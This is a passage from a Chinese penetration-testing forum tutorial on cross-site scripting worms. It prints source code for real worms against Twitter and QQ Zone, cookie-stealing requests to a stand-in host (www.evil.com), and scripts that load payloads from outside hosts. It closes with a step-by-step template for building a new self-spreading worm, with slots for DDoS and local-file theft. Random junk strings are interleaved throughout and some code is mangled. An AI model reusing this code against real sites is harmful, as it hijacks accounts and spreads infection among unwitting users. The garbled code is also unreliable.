var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
3 }3 b9 j( ]9 e# K- _: s; K% b$ F
+ |6 ^/ X; |6 x1 hXmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

3 L: X: |- W" {* RXmlHttp.send(null);
# P: _; P) a) J+ Y$ Z! A' `
9 e. ]" E; R9 C7 W</script>
! M8 e1 V& F( Y. E9 I复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
" r8 B: C1 U% A7 ]  U" ?8 G
) T# t. |! I4 H3 \var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
2 a- @# x) J" S9 G  g
7 @5 n% O" e4 T; U
. e8 A6 X6 j) C9 P& B3 w
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);
5 `* b7 D* u9 M  r
<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
1 \# N8 K$ ~% S8 A! h第一版:
  下载 (5.1 KB)
  u6 d8 e4 g% j9 ?
6 天前 08:27

9 n$ _, O& m/ a7 T' }第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

# R1 g, |/ b) ]9 v! K" u6 R/ X- ?2 J   2.   
. F7 h' k3 x! e1 k2 Z8 S! W; j
  P! R" i3 a& I1 \/ D* r   3. function XHConn(){  
( L0 l2 C, j7 `8 q7 v0 j4 Y1 a
' b% j' r- h$ E8 p   4.   var _0x6687x2,_0x6687x3=false;  

% u$ p, n# h# C& P. ?, T; l/ `% H6 k   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
# ^6 B$ M: Y) D) O: f0 \
3 p; c$ G0 b3 K0 ]; ^+ l$ p   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
. e' J6 a( N1 m( p8 d; E1 l8 Y7 Z
   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
) [0 T- i# A2 C3 b" O4 P% n6 ~
2 b7 q0 K0 R+ N& h9 B- G   8.   catch(e) { _0x6687x2=false; }; }; };  
! ]' ~8 B) M; j% ]# x* y复制代码第六版:   1. function wait() {  

( Y4 K( x7 {8 @8 x5 x8 C   2.   var content = document.documentElement.innerHTML;  

% E% ?: p& G7 v4 L- @   3.   var tmp_cookie=document.cookie;  
2 Q. z" d9 h+ m) R3 W4 O1 n
   4.   var tmp_posted=tmp_cookie.match(/posted/);  
+ h; y2 s. J4 [2 U, M. E* T
* v; Y5 d- ]+ {1 f8 V   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
& p5 ~% }  j/ W* `2 d/ n1 a7 ^7 K7 H
   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  
, N, g+ k# L% q* a# w; u
   8.   var randomUpdate= new Array();  
: v: j% {! F: R0 D0 n$ L% K& k2 b
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

8 K# B9 D3 W. {  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
) U4 p% _. s( i$ a8 _8 N
, Y# U2 ^9 g2 D& Q. j0 A  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
) F5 \! r" h9 X: n9 I
" w+ f& ]8 E3 g# f7 }1 Z- Z5 g  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

; d+ i% I# c( m/ }3 t' k: r) E1 Q7 o* D) f  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
8 n" l  d2 R- B. B& R" V
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
5 O/ h( y4 T$ _& Y# j0 L
5 x) M& ]; v0 c  F* }+ Q/ x0 s  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
  U! u/ d. j4 s7 e% Y6 G* s1 d! y
: N2 s' z+ J  t' W; I7 q  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
4 ]0 T  D8 Y7 n- O1 @
  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

6 v2 A+ t& ~0 E# H  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

$ y. w6 G0 j8 n) @5 H( k4 E  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

  24.     

* C! \/ W: v' v: H( t  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
- h8 ?' s7 @( i& z
  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
7 z( V; P, c+ F+ a
' Q2 {: f1 }' N8 w8 z2 O& @+ {+ N  27.     
. g% w2 ?. {' K# h+ Y
; |3 D) |+ i3 V, M& S/ U3 F& W  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

# A' U& _7 V# z) o. w; ?  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  
, k' Q, r+ P/ @/ x3 O" T) V" G* U' `
% S/ Z5 |- s9 U# N  Z+ J3 ?  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
8 u9 w- Y3 _& O9 r( Y9 h5 j4 d
  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

  35.   var XSS=urlencode(genXSS);  
5 B* Y! q% C2 o! ^8 {4 u, E
  36.   var ajaxConn2= new XHConn();  

  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

# _: C* u7 d# V" d$ I  38.     

3 ?7 s, W. b+ @0 D  39. } ;  

  40. setTimeout(wait(),5250);  
; p; u6 F% a4 P5 j( v1 d- `* H: C7 b复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;
" t( C" T" R0 a% c+ |
/ s2 V$ y- n% p1 B
. P; z+ N, ^) h) T& |6 }& q( b
var shendu;shendu=4;
; c- s$ y! h" p" [4 X: ^
//---------------global---v------------------------------------------

. J! M2 h6 @7 S: b//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
1 T1 l! z* y8 t1 L
var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
6 I5 n/ C* s+ y# r; b
var myblogurl=new Array();var myblogid=new Array();
3 h5 V' i! Y& s
        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");

        gurl=gurl.substring(0,gurle+3);        

0 e" n" A% w- E4 q9 ~. V' m6 L6 ^        var visitorID=top.document.documentElement.outerHTML;

: ]% l0 @5 y  A  h  \$ j           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);

        cookieS=visitorID.indexOf(",");

1 K: s" ^1 o. w6 U' X# M7 q        visitorID=visitorID.substring(0,cookieS);
) z2 \" g, y$ E) ^$ ~2 O* U! K
        get_my_blog(visitorID);

        DOshuamy();



//挂马
9 g1 A9 t. R  V5 k9 |
1 `/ i+ _( k* u5 K  N" Xfunction DOshuamy(){
/ h- V/ ^, d4 Y6 I5 ?8 f' N
var ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

( k' _$ f6 `7 l5 h8 M}



//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
4 Y4 h2 T( `6 k1 A4 L
function get_my_blog(visitorID){

   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

4 ^, K. f$ L; [+ P   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
7 J  n* _! A4 u' K4 o+ d" K
1 _) s5 E, s$ m- f   if(xhr){    //成功就执行下面的
+ e, p% g5 ^4 b% C, S
( H9 {8 i! v/ s$ B8 w+ w: ~+ d     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
5 \& l" @. }5 C2 ~, z, n
+ W% s/ M$ C- t     xhr.send();guest=xhr.responseText;
; W; u8 r1 d" L0 t! q/ _: p9 e
+ _, L' ~# N" t% y4 Q% `" I; S9 o     get_my_blogurl(guest);    //执行这个函数
' i3 q3 ]5 X1 V& T& m5 d2 y  h0 t
    }

}
' _4 l: b8 S7 Y1 `% U4 E7 M


- D% K+ V0 P# b5 [//这里似乎是判断没有登录的
1 ~) ^* x) j7 b; _2 _+ `
function get_my_blogurl(guest){

: [# r. n. |9 A! U6 i9 ~  var mybloglist=guest;
3 I1 G! \$ Z+ C" l
' _0 v) W  G9 Y- k- Z' Z9 ?7 I  var myurls;var blogids;var blogide;
' e( z) i, B8 K. _! }6 s4 e: K+ ^
  for(i=0;i<shendu;i++){
* c  P! X! S0 P) p( u5 k
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
; Y$ J; h  ^; W, d0 T
/ z8 |5 f$ K' X8 ^( n& z! r2 _     if(myurls!=-1){    //找到了就执行下面的
9 S& O% C9 z. L$ F+ y% x
         mybloglist=mybloglist.substring(myurls+11);
- L+ S! i; ~4 X& G7 U% Z$ X" c
! h8 t3 i' O$ [5 o1 i# i         myurls=mybloglist.indexOf(')');

: e, A5 b" f( }# L         myblogid=mybloglist.substring(0,myurls);

- L" Q# ^6 v) Y0 J/ I        }else{break;}

}
3 j, `; f7 l% V( G. D! o
get_my_testself();    //执行这个函数
! T6 F$ c8 e$ B4 ^. B4 U
}
! ?& ~0 V7 p& G; k2 f! Y- r5 _( ^3 y
. o& W2 k& q9 y, s$ T1 R) ]) i1 b1 v& e

//这里往哪跳就不知道了

function get_my_testself(){
( A, D5 _, }' X' L
5 s) D1 m; H$ Y4 C! \  for(i=0;i<myblogid.length;i++){    //获得blogid的值
# p/ l' j! g7 m* t
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
" [1 M' Y* x- ]. k  W/ X; _* S/ Q
      if(xhr2){        //如果成功

1 m& B3 H7 M. q0 I' c, J              xhr2.open("GET",url,false);     //打开上面的那个url
5 F# u9 Z! n+ g) V9 \
              xhr2.send();
! x( o' b$ z/ {, w: e* l
+ }; m1 D. `8 e) z5 \8 m4 }              guest2=xhr2.responseText;
- R9 V, X- H' z( V9 ]; Z
! i+ Y% W) K0 e7 a7 ~              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

8 o  U  b) S0 C5 y- s. }. P/ g              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
8 o* D9 Z( U1 J. N6 ?( x8 G& I
/ I5 ^8 q$ D* ]" H1 k) }1 I              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   
0 C4 u# A8 b  [9 Y! Z( z" b# l  f% N
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
; L  H8 F9 ]! r' F' M
' j8 N% z* S- S1 S4 t, h, r                break;
: C% a9 H3 g; |$ w  ?$ {
               }
2 d0 q3 m. j2 |9 ?
8 N) X+ ^, v1 q! j; M* B              if(mycheckit=="-1"){
2 t4 M1 Z( [6 ~6 @8 n
                targetblogurlid=myblogid;
2 I& i5 c$ R+ y$ y: N
5 I1 q9 O% f( v( t                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;
! T  V: n7 R, X1 h
               }
) ]: R3 R& \" t* w- |
        }      

. M. e; I1 r8 O0 x( o& @}

}

5 L* J4 v- k+ N9 X9 ]
, P7 X2 y: x( [" v
; v- `& R1 a# e. I( I/ E: ]//--------------------------------------  
, D2 l2 f5 {0 n
$ g$ R$ X  R8 d//根据浏览器创建一个XMLHttpRequest对象

2 N, _( m; `& g1 ]* }$ |function createXMLHttpRequest(){

: Q0 j2 R! _; e) ?2 D    var XMLhttpObject=null;  

' f  v5 f* K+ [' U; I% Q    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

9 f+ `/ ?9 Y, r1 W; o+ }9 N* F    else  
/ `- q* B# M$ W6 t
& D; T/ Q7 c( E# Y) g) y& s      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

        for(var i=0;i<MSXML.length;i++)  
" T5 f( f/ t" o+ D6 U) R
        {  
" Y* w$ ?* f. z' a% n5 i
            try  
* F% g- ~0 D* q6 j
& s% P. v  y' @1 B4 [            {  
9 j5 G) O0 q% S0 L9 R6 Z9 h6 v
0 j" A. A# y! M0 H. U                XMLhttpObject=new ActiveXObject(MSXML);  
7 S8 A0 f4 r: S' @, G
                break;  

            }  

! a7 d6 f. f2 l( }( c1 n4 u            catch (ex) {  

  \$ M* A" R2 r( f' ^2 V            }  

         }  
3 G3 x: i! m3 s9 Z
      }

return XMLhttpObject;
0 j+ D1 N3 Y# C5 f1 v( ~% h& V
% l: }4 g) _3 W5 Q5 o- F- P}  
% z% ~/ B( r5 t. I9 E
4 F6 l7 Q6 @. I& v
6 M0 G+ `) I' n# y( D4 ]" _2 {. d
//这里就是感染部分了

" e$ J4 m. B( R3 g4 [function add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

5 G2 q) l+ m! x- i3 s  c# H. y1 hs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
6 S# Z. a3 i& G* E
' @, [7 Q! d* p' m  `6 T0 K' }, Bs2.type='text/javascript';

4 R0 ^& l" _* p& A/ F6 Rdocument.getElementsByTagName('head').item(0).appendChild(s2);

}
( K3 W1 }6 }( w: o# L$ W/ A

# K  d# m; e  b& B, |
) U# [4 E$ O+ e9 x+ P8 k% w' Rfunction add_jsdel(visitorID,targetblogurlid,gurl){
. T$ V5 X7 l+ @( w# c& B- u% [; f
var s2=document.createElement('script');

2 d7 T" l; f& N& C; W& S2 U$ Os2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
4 t9 k. y% \8 e
s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);

}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
* U6 ], h0 m0 T  \0 q1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

( U( K3 \: m9 z% Y" i2 I7 _综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
0 i+ Y" x4 y, H2 v' d3 X" d6 r  Q/ K
+ Y$ D  ^( ^3 H2 O/ p! L
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

首先,自然是判断不同浏览器,创建不同的对象var request = false;
9 L" U( d- D) s5 D# B+ D3 N! C
if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

7 v: @+ K/ z3 k$ n9 L8 Vif(request.overrideMimeType) {
- m+ m. i7 O# O
request.overrideMimeType('text/xml');

}

} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
, t1 O) k2 H; t
for(var i=0; i<versions.length; i++) {

: h: n# {9 |; r8 |' Htry {
+ I) F/ Q2 d' i6 ]$ W+ i
request = new ActiveXObject(versions);
( j0 r% j& c& G& f7 J
} catch(e) {}

2 g8 a) Z3 [. [* Y+ j4 ~' \3 E}

}

xmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
: V9 ?* w; I% c" _
# h; @9 ^" A% u' v; ?/ r        var Browser_Name=navigator.appName;
- M( V1 U- {# ~# l
; Y# H. c" z+ }. ~( K$ i, ^/ r        var Browser_Version=parseFloat(navigator.appVersion);

+ T  D; z: _4 H        var Browser_Agent=navigator.userAgent;
. o# j+ K5 Q* k% W
        
: e5 l0 e$ K+ J( r- Y7 W
        var Actual_Version,Actual_Name;
/ _: D; A3 ^# p9 }6 ]0 E
        

+ r7 @' p  v# q1 S( [! R* B        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

& w' L9 Q6 P1 J) V$ t! v        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");
  t' L; T9 c4 s: v" ]
5 |- s4 n' y; X5 d1 I        

. Q6 u' ^& K& M4 y5 y/ B$ v/ E        if(is_NN){

            if(Browser_Version>=5.0){
& p; H- m0 B  o) h
                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);

                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);



# F' W& Y" t$ y1 u8 Y: ]* V+ j: z                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
1 R" A5 @. A; U( ^5 t# V5 M
. u& p% p* j, ]* m5 y            }

            else{

9 k. m+ d5 y# f                Actual_Version=Browser_Version;

9 m0 k' W: _; m% P& L/ _3 [                Actual_Name=Browser_Name;
- ~2 ]3 }- f/ G' f
            }

        }

        else if(is_IE){
9 N/ d: L( U! u
, E  @. a* {$ w3 D            var Version_Start=Browser_Agent.indexOf("MSIE");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);
, X  t2 }1 f: C  N' F
. J* n" ?. E7 p* b7 ]1 i            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

' p- N3 w1 t) h* l            Actual_Name=Browser_Name;

            
7 w/ p; z8 s: q/ V
' ?* S) {* }3 @            if(Browser_Agent.indexOf("Maxthon")!=-1){
! i+ c5 _+ @) l0 o! w
                Actual_Name+="(Maxthon)";
- x+ _+ _% K/ {- z
$ j  O0 J5 ]: m: @            }

% M1 {' O3 p& K0 k            else if(Browser_Agent.indexOf("Opera")!=-1){

0 }3 y3 @8 p' s) M                Actual_Name="Opera";
) e* W. _) i( L7 g/ i
                var tempstart=Browser_Agent.indexOf("Opera");
) X8 k8 O# n$ u" F$ T. A( i
                var tempend=Browser_Agent.length;
; V% u( J* Q9 R3 m3 A: o
/ ~6 L/ B) p. g                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
9 P) E( L8 Q2 f, E2 {
* y3 W+ }* v0 J/ H' R            }
, y& U3 C) A) W9 f% y
        }
2 X7 W: L5 T, |, j2 \( T
        else if(is_Ch){

            var Version_Start=Browser_Agent.indexOf("Chrome");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);
! R$ q/ `& h: F) S& D* o
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

  t% L/ p9 Y8 s            Actual_Name=Browser_Name;
" C* ^/ R, I) H
            

1 F/ l- z. C7 B% O9 T: U! W. |, n/ a# r5 q            if(Browser_Agent.indexOf("Maxthon")!=-1){
6 w6 ~7 W& q' Y8 f9 Q
! a5 ]4 L; h8 ~' V                Actual_Name+="(Maxthon)";

            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
  R! A$ _1 P5 H; g, Q
                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

" Z, F7 a9 y. Q% S* }                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
. n$ B7 o; c) x8 R
$ {1 k7 j; [7 f/ O3 H; E1 j        }

        else{

            Actual_Name="Unknown Navigator"
4 h1 b* v, U5 E# x( y. l
! N: v3 b: B0 E! d            Actual_Version="Unknown Version"

: Q! e6 H$ C% c/ l- _        }


9 f5 u$ h0 q+ }! o4 `5 q3 N
8 a2 \5 }, x" w5 _* w7 x& n        navigator.Actual_Name=Actual_Name;
) h& L- S2 N# }3 z3 a" Z7 w) ~
        navigator.Actual_Version=Actual_Version;
; E6 q  F2 @; K% }2 x4 J
        

        this.Name=Actual_Name;

        this.Version=Actual_Version;

    }
4 U9 t' S0 w6 a- }8 S" e
' ~) I$ h! h9 Z) x" u, V7 ]    browserinfo();
" s+ z; S# j, D! w& O2 g
. J/ Y# t( w4 h, w: d- e! Q    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
* g5 u) o& |; i6 k
% q" I, ?# z; u6 q$ w    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
) Q3 q  a' r2 l( E7 ?* ?& Q5 ~
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
  [! H) v9 {/ p, \$ O
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
; _& K5 F1 d: A7 b; {. J+ q复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
% X6 \" ?  C5 o8 @# z* Q; C
7 L+ q* y* N$ q' zxmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;

var id=0;var result;
0 Q% l4 @, n* W9 Y$ M7 l! d: ^
var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
1 m& J9 \0 I; K' A! \0 x
while ((result = patt.exec(resource)) != null)  {

id++;
$ x1 \4 w4 H) W; ^9 Z
: ^. }& h( k) x: Q- f  u. j  s( u}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
9 g& {5 E3 e3 y0 M
+ `# Y$ c' A" y) F, \/ |$ B0 ?no=resource.search(/my name is/);
: J% W  M1 q- W# J: K
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
6 O; G) j/ j, F$ d5 Y; h" P
var post="wd="+wd;

* H. A$ F( ~( \' U# Q3 a* d0 p% `: zxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
/ C: V# o2 l% P- N/ k& T6 }1 f0 Y
1 y% Y2 {" K; d! b1 _% @* [8 GxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

% D7 T* T6 q9 x4 m2 N3 g, T+ o" ixmlHttpReq.setRequestHeader("content-length",post.length);
5 ]/ k7 }: w3 k& \
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
* ?* W" m0 y( L, }% B1 H, s8 b- K
xmlHttpReq.send(post);

/ T% K* a# Y% R$ L$ _}
0 z* C# H8 \$ |* a0 q/ r复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
. K8 D: _7 _* @
' t: O% z& D' k) ~0 t4 I* Yvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

! |6 G6 x' m2 t1 w) o/ J; Dvar post="wd="+wd;

  L/ I& j+ c' s2 \xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
$ t- b5 P: `/ G+ b
3 d0 `" Q' W2 l! j9 \& e0 |xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

+ p; d, U; P% T( wxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
* p% C9 B# r( ~& d" ~* }
- M& Q* e" a' E1 D; axmlHttpReq.send(post);                 //把传播的信息 POST出去.

}
. Z* G( `8 [4 r9 w- }7 O复制代码-----------------------------------------------------总结-------------------------------------------------------------------

$ Z1 C' V! r' w( V7 w! X: j" K

& L+ }0 P0 ~: J1 N本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
$ O( H3 ~7 z6 u# t- Y操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

1 C2 E& U! l& @/ o4 r$ _" o


  I" m# n) _( P. X9 @! w* a
2 A2 s" c5 y4 h

  o2 q0 g: c- z9 y1 y5 y
6 q' g3 _7 ]" {/ U# j' Z本文引用文档资料:

( {) W. ~4 t; N) T"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
7 ^2 ]$ v, |1 e% o; D; O6 lOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
" D0 Q" b3 q9 n* Q6 Ihttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
0 b2 M+ w, _  N% g2 w8 ^Xeye Team http://xeye.us/
2 D  x# K0 y* @1 ^0 K; }

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2